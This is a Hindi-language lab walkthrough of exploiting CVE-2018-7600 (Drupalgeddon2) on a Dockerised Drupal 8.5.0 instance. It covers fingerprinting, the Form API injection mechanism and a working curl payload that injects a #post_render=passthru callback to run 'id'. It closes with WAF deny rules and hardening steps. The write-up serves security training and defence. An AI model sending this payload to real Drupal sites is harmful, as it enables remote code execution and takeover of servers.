dungsocool/cve-2018-7600CVE-2018-7600 (Drupalgeddon2) RCE का Drupal 8.5.0 में शोषण करने के लिए चरण-दर-चरण प्रयोगशाला वॉकथ्रू, जिसमें हमले की सतह विश्लेषण, संस्करण फिंगरप्रिंटिंग, और Form API इंजेक्शन के माध्यम से शोषण शामिल है।
चल रहे कंटेनरों को सूचीबद्ध करके शुरू करें:
docker ps
docker ps के परिणामों से, इस लैब का कंटेनर है:
p1/lab09:latest
यह कंटेनर पोर्ट एक्सपोज़ करता है:
0.0.0.0:8011->80/tcp
यह इंगित करता है कि कंटेनर के अंदर सेवा पोर्ट 80/tcp पर सुन रही है, और होस्ट पर पोर्ट 8011 पर मैप की गई है।
पोर्ट 80/tcp HTTP के लिए मानक पोर्ट है। इसलिए, यह लक्ष्य लैब संभवतः एक HTTP वेब एप्लिकेशन है। वेब सेवा की पुष्टि करने के लिए, मैं curl का उपयोग करके HTTP अनुरोध भेजता हूँ और साथ ही वेब पेज के GUI तक पहुँचता हूँ।
curl -i http://192.168.3.137:8011/
हमला सतह का आकलन
HTTP प्रतिक्रिया और वेब इंटरफ़ेस से, निम्नलिखित जानकारी की पहचान की गई:
वेब सर्वर: Apache/2.4.25 (Debian) बैकएंड: PHP/7.2.3 CMS: Drupal Drupal संस्करण: 8.5.0 इंस्टॉल पथ: /core/install.php सार्वजनिक पोर्ट: 8011 -> 80/tcp
यह जानकारी CVE के साथ सहसंबंध बनाने के लिए महत्वपूर्ण फिंगरप्रिंट के रूप में कार्य करती है। विशेष रूप से, Drupal 8.5.0 वह संस्करण है जो सीधे CVE-2018-7600 से संबंधित है, जिसे Drupalgeddon2 के नाम से भी जाना जाता है।
आधिकारिक Drupal सलाहकार के अनुसार, SA-CORE-2018-002 / CVE-2018-7600 निम्नलिखित संस्करणों को प्रभावित करता है:
>= 8.5.0 < 8.5.1
वर्तमान लक्ष्य चल रहा है:
Drupal 8.5.0
इसलिए यह प्रभावित संस्करण सीमा के अंतर्गत आता है।
⇒ सोच:
इस स्तर पर, Drupal संस्करण 8.5.0 संदिग्ध CVE की पहचान करने के लिए एक मजबूत सबूत है। मैं इस प्रकार तर्क करता हूँ:
docker ps दिखाता है कि लैब पोर्ट 8011 के माध्यम से HTTP सेवा को एक्सपोज़ करता है।curl -i Apache/PHP से एक मान्य HTTP प्रतिक्रिया लौटाता है।/core/install.php पर रीडायरेक्ट करती है।Drupal 8.5.0 चला रहा है, जो इसे CVE-2018-7600 का परीक्षण करने के लिए संस्करण मानदंडों के तहत पात्र बनाता है।लक्ष्य Apache/PHP पर चलने वाला Drupal 8.5.0 है। यह संस्करण Drupal के आधिकारिक सलाहकार के अनुसार CVE-2018-7600 से प्रभावित सीमा के अंतर्गत आता है। अगला कदम वास्तविक शोषण स्थितियों की जाँच करना है ताकि यह सत्यापित किया जा सके कि लक्ष्य RCE के अधीन किया जा सकता है।
पिछले फिंगरप्रिंटिंग चरण से, लक्ष्य स्पष्ट रूप से प्रदर्शित करता है: Drupal 8.5.0। Drupal से आधिकारिक सलाहकार के अनुसार, कमज़ोरी SA-CORE-2018-002 / CVE-2018-7600 Drupal कोर संस्करणों को प्रभावित करती है:
>= 8.5.0 < 8.5.1। वर्तमान लक्ष्य ठीक Drupal 8.5.0 चलाता है, जो इसे प्रभावित संस्करण सीमा के अंतर्गत रखता है। Drupal सलाहकार के अनुसार, यह Drupal कोर में एक दूरस्थ कोड निष्पादन कमज़ोरी है, जो एक हमलावर को कई हमले वैक्टरों का शोषण करने और पूरी साइट से समझौता करने की अनुमति दे सकती है।
हालाँकि, आप देख सकते हैं कि लक्ष्य /core/install.php पर रीडायरेक्ट कर रहा है और GUI Drupal इंस्टॉलेशन स्क्रीन प्रदर्शित करता है। यह सुझाव देता है कि Drupal अपूर्ण इंस्टॉलेशन स्थिति में हो सकता है। यदि साइट सेटअप पूरा नहीं हुआ है, तो Drupalgeddon2 को ट्रिगर करने के लिए उपयोग किए जाने वाले सामान्य एंडपॉइंट जैसे /user/register, /user/password, और /user/login ठीक से काम नहीं कर सकते हैं। इसलिए, इन एंडपॉइंट्स की जाँच करना आवश्यक है।
curl -i http://192.168.3.137:8011/user/register curl -i http://192.168.3.137:8011/user/password curl -i http://192.168.3.137:8011/user/login
यह देखा जा सकता है कि एंडपॉइंट्स अभी भी /core/install.php पर रीडायरेक्ट कर रहे हैं।
निष्कर्ष:
लक्ष्य Drupal 8.5.0 चलाता है, जो Drupal के आधिकारिक सलाहकार के अनुसार CVE-2018-7600 से प्रभावित संस्करण सीमा के अंतर्गत आता है। हालाँकि, परीक्षण के समय, एप्लिकेशन इंस्टॉलर स्थिति में है और /user/register, /user/password, और /user/login जैसे रूट को /core/install.php पर लगातार रीडायरेक्ट करता है।
यह दर्शाता है कि Drupalgeddon2 को सत्यापित करने के लिए आमतौर पर उपयोग किए जाने वाले एंडपॉइंट अभी तक पूरी तरह से स्थापित Drupal साइट की तरह काम नहीं कर रहे हैं। इसलिए, लक्ष्य वर्तमान में केवल संस्करण शर्त को संतुष्ट करता है लेकिन अभी तक दूरस्थ कोड निष्पादन प्रदर्शित करने के लिए रनटाइम शर्तों को पूरा नहीं करता है।
=> सोच:
हमें आगे यह साबित करने की आवश्यकता है कि Drupal अपनी रनटाइम स्थिति में कमज़ोर रूट/फॉर्म को प्रोसेस कर सकता है, कि एक हमलावर बिना प्रमाणीकरण के एंडपॉइंट तक पहुँच सकता है, और यह कि id जैसे सत्यापन पेलोड सफलतापूर्वक निष्पादित हो सकते हैं।
वर्तमान लक्ष्य पर, एंडपॉइंट इंस्टॉलर पर रीडायरेक्ट करते हैं, इसलिए अगला पथ Drupalgeddon2 RCE का तुरंत निष्कर्ष निकालने के बजाय, यह आकलन करना है कि क्या Drupal इंस्टॉलेशन स्क्रीन अपना स्वयं का हमला सतह बनाती है।
Drupal रनटाइम एंडपॉइंट जैसे /user/register, /user/password, और /user/login सभी /core/install.php पर रीडायरेक्ट होने की जाँच करने के बाद, मैंने इंस्टॉलर स्क्रीन का विश्लेषण किया।
इंस्टॉलर का समर्थन करने वाली डेटाबेस सेवा की जाँच करना
चूँकि Drupal इंस्टॉलर वर्तमान में डेटाबेस कॉन्फ़िगरेशन चरण पर रुका हुआ है, मैंने जाँचा कि क्या सामान्य डेटाबेस सेवाएँ बाहरी रूप से एक्सपोज़ हैं:
nmap -sV -p 3306,5432,33060 192.168.3.137
लक्ष्य वर्तमान में बाहरी रूप से Drupal इंस्टॉलर को एक्सपोज़ करता है, लेकिन सीधे हमलावर की मशीन से सुलभ कोई डेटाबेस सेवा का पता नहीं चला है।
निष्कर्ष: लैब Drupal 8.5.0 इंस्टॉलर को एक्सपोज़ करता है और कमज़ोर संस्करण के बारे में सूचना प्रकटीकरण है। CVE-2018-7600 एक मान्य संदिग्ध वेक्टर है, लेकिन सफल शोषण अभी तक साबित नहीं हुआ है।
CVE-2018-7600 Drupal Form API में एक कमज़ोरी का शोषण करता है - फॉर्म रेंडरिंग सिस्टम जो Render Array संरचना का उपयोग करता है। AJAX अनुरोध को संसाधित करते समय, Drupal फॉर्म ट्री में तत्वों का पता लगाने के लिए element_parents पैरामीटर का उपयोग करता है, बिना # वर्ण से शुरू होने वाली कुंजियों की जाँच (सैनिटाइज़) किए। हमलावर POST डेटा के माध्यम से #post_render, #markup, और #type जैसे गुण इंजेक्ट करते हैं ताकि रेंडरिंग इंजन को मनमाना PHP फ़ंक्शन (जैसे, exec, passthru, system) निष्पादित करने के लिए मजबूर किया जा सके।
पूर्वापेक्षा: Form API का उपयोग करने वाला कम से कम एक एंडपॉइंट एक मान्य प्रतिक्रिया वापस करना चाहिए (रीडायरेक्ट नहीं, एक्सेस कंट्रोल द्वारा अवरुद्ध नहीं) ताकि हमलावर पेलोड युक्त AJAX अनुरोध भेज सके।
सार्वजनिक PoCs में आमतौर पर उपयोग किए जाने वाले एंडपॉइंट:
/user/register (पंजीकरण फॉर्म - लॉगिन आवश्यक नहीं)/user/password (पासवर्ड भूल गए फॉर्म - लॉगिन आवश्यक नहीं)/user/login (लॉगिन फॉर्म - लॉगिन आवश्यक नहीं)वर्तमान लक्ष्य पर: उपरोक्त सभी 3 एंडपॉइंट 302 के माध्यम से /core/install.php पर रीडायरेक्ट होते हैं ⇒ अभी तक संतुष्ट नहीं
कमज़ोरी Form API की AJAX प्रोसेसिंग पाइपलाइन के भीतर होती है: FormBuilder → RenderArray → #post_render callback निष्पादन। यह पाइपलाइन तभी काम करती है जब Drupal सभी आवश्यक उप-प्रणालियों (रूटिंग, फॉर्म स्थिति, रेंडर इंजन) को बूटस्ट्रैप करता है।
इंस्टॉलर स्थिति में, Drupal न्यूनतम बूटस्ट्रैप मोड में चलता है - केवल इंस्टॉलेशन फॉर्म प्रदर्शित करने के लिए पर्याप्त आरंभ करता है, लेकिन रूटिंग, AJAX हैंडलर, और पूर्ण रेंडर पाइपलाइन जैसी उप-प्रणालियाँ अभी तक पूरी तरह से सक्रिय नहीं हो सकती हैं।
वर्तमान लक्ष्य पर: Drupal इंस्टॉलर स्थिति में है ⇒ आगे सत्यापन की आवश्यकता है
# वर्ण को अवरुद्ध करने वाला कोई WAF या इनपुट फ़िल्टरिंग तंत्र नहींआधिकारिक Drupal पैच RequestSanitizer वर्ग को stripDangerousValues() विधि के साथ जोड़ता है - सभी $_GET, $_POST, और $_COOKIE को स्कैन करता है, और बूटस्ट्रैप के शुरुआती चरणों में # से शुरू होने वाली किसी भी कुंजी को हटा देता है।
यदि लक्ष्य अप्रतिबंधित है (8.5.0 चला रहा है), तो RequestSanitizer वर्ग मौजूद नहीं है → # युक्त इनपुट फ़िल्टर नहीं किया जाएगा ⇒ संतुष्ट
निष्कर्ष: लक्ष्य संस्करण शर्त और पैच की अनुपस्थिति को संतुष्ट करता है। हालाँकि, Drupal के इंस्टॉलर स्थिति में होने के कारण उपलब्ध एंडपॉइंट और पूर्ण बूटस्ट्रैप की शर्तों का अभी तक प्रदर्शन नहीं हुआ है। अगला कदम यह परीक्षण करना है कि क्या इंस्टॉलर फॉर्म (/core/install.php) - जो Form API और Render Array का भी उपयोग करता है - का उपयोग मानक एंडपॉइंट के विकल्प के रूप में शोषण के लिए किया जा सकता है।
यह पहचानने के बाद कि लक्ष्य इंस्टॉलर स्थिति में Drupal 8.5.0 चला रहा है, CVE-2018-7600 का शोषण करने के लिए आमतौर पर उपयोग किए जाने वाले मानक एंडपॉइंट जैसे /user/register, /user/password, और /user/login सभी /core/install.php पर रीडायरेक्ट होते हैं। मैंने सोचा कि ऐसा इसलिए हो सकता है क्योंकि मैंने इंटरफ़ेस सेटअप पूरा नहीं किया था, लेकिन मैं अभी भी आगे जाँच करना चाहता था।
सत्यापन के बाद, यह पता चला कि इंस्टॉलर फॉर्म उसी कमज़ोर Form API और Render Array इंजन का उपयोग करता है। हालाँकि, AJAX पाइपलाइन को काम करने के लिए Form Cache की आवश्यकता होती है - जो डिफ़ॉल्ट रूप से बैकएंड के रूप में डेटाबेस का उपयोग करता है। चूँकि अभी तक कोई डेटाबेस नहीं है, इंस्टॉलर फॉर्म पर AJAX अनुरोध FormBuilder.php:333 पर FormAjaxException लौटाता है, यह पुष्टि करता है कि पाइपलाइन सक्रिय है लेकिन कैश लोडिंग चरण पर विफल रही।
सोच: मैं SQLite का उपयोग करके Drupal स्थापित करूँगा - एक डेटाबेस जिसे समर्पित सर्वर की आवश्यकता नहीं है, केवल कंटेनर डिस्क पर फ़ाइल लिखने की पहुँच चाहिए।
Drupal ऑनलाइन होने के साथ, /user/register एंडपॉइंट सामान्य रूप से कार्य करता है और इंजेक्शन बिंदु के रूप में कार्य करता है। पेलोड रेंडर एरे इंजेक्शन तंत्र का उपयोग करता है:
element_parents=account/mail/%23value — फॉर्म ट्री में mail फ़ील्ड का पता लगाता हैmail[#post_render][]=passthru — कॉलबैक फ़ंक्शन passthru() इंजेक्ट करता हैmail[#markup]=id — वह सामग्री जो passthru() को तर्क के रूप में दी जाती हैcurl -v "http://192.168.3.137:8011/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax" \
-H "X-Requested-With: XMLHttpRequest" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data "form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=passthru&mail[#type]=markup&mail[#markup]=id"
प्रतिक्रिया विश्लेषण:
परिणाम uid=33(www-data) इंगित करता है कि पेलोड www-data उपयोगकर्ता के विशेषाधिकारों के तहत ऑपरेटिंग सिस्टम पर निष्पादित किया गया था। यह वह उपयोगकर्ता है जो आमतौर पर Debian-आधारित Linux पर Apache/PHP वेब सर्वर चलाने के लिए उपयोग किया जाता है। चूँकि id कमांड सर्वर-साइड निष्पादित हुआ और आउटपुट लौटाया, सफल दूरस्थ कोड निष्पादन की पुष्टि होती है। हालाँकि, वर्तमान विशेषाधिकार www-data है, root नहीं, इसलिए प्रारंभिक नियंत्रण का दायरा वेब सर्वर की अनुमतियों तक सीमित है।
एंडपॉइंट एक्सेस नियंत्रण
यदि साइट को सार्वजनिक उपयोगकर्ता पंजीकरण की आवश्यकता नहीं है, तो /user/register एंडपॉइंट को अक्षम करें:
WAF नियम — विशेषता पेलोड को अवरुद्ध करना
POST बॉडी में #post_render, #pre_render, या #markup जैसी कुंजियाँ वाले अनुरोधों को अवरुद्ध करने के लिए WAF नियम जोड़ें:
SecRule REQUEST_BODY "@contains #post_render" "deny,status:403"
SecRule REQUEST_BODY "@contains #pre_render" "deny,status:403"
SecRule ARGS_NAMES "@rx ^#" "deny,status:403"
वेब सर्वर के लिए न्यूनतम विशेषाधिकार का सिद्धांत
वेब सर्वर को root विशेषाधिकारों के तहत नहीं चलना चाहिए। लैब परिणाम पुष्टि करते हैं कि प्रक्रिया uid=33(www-data) के रूप में चलती है - जो सही कॉन्फ़िगरेशन है, लेकिन निम्नलिखित वृद्धि की जानी चाहिए:
www-data के लिए लिखने की अनुमतियाँ केवल आवश्यक निर्देशिकाओं (sites/default/files/) तक सीमित करें/var/www/html/core/, /var/www/html/modules/) के लिए फ़ाइल सिस्टम को केवल-पढ़ने के लिए माउंट करेंइंस्टॉलर को इंटरनेट पर एक्सपोज़ न करें
इस लैब में, इंस्टॉलर सार्वजनिक है - एक हमलावर इसका शोषण करके SQLite का उपयोग करके Drupal को पुनः स्थापित कर सकता है और शोषण कर सकता है। वास्तविक दुनिया के उत्पादन में आवश्यकता है:
/core/install.php को हटाएँ या उस तक पहुँच प्रतिबंधित करें/core/install.php तक बाहरी पहुँच को अवरुद्ध करने के लिए .htaccess नियम या वेब सर्वर कॉन्फ़िगरेशन जोड़ें<Files "install.php">
Order deny,allow
Deny from all
</Files>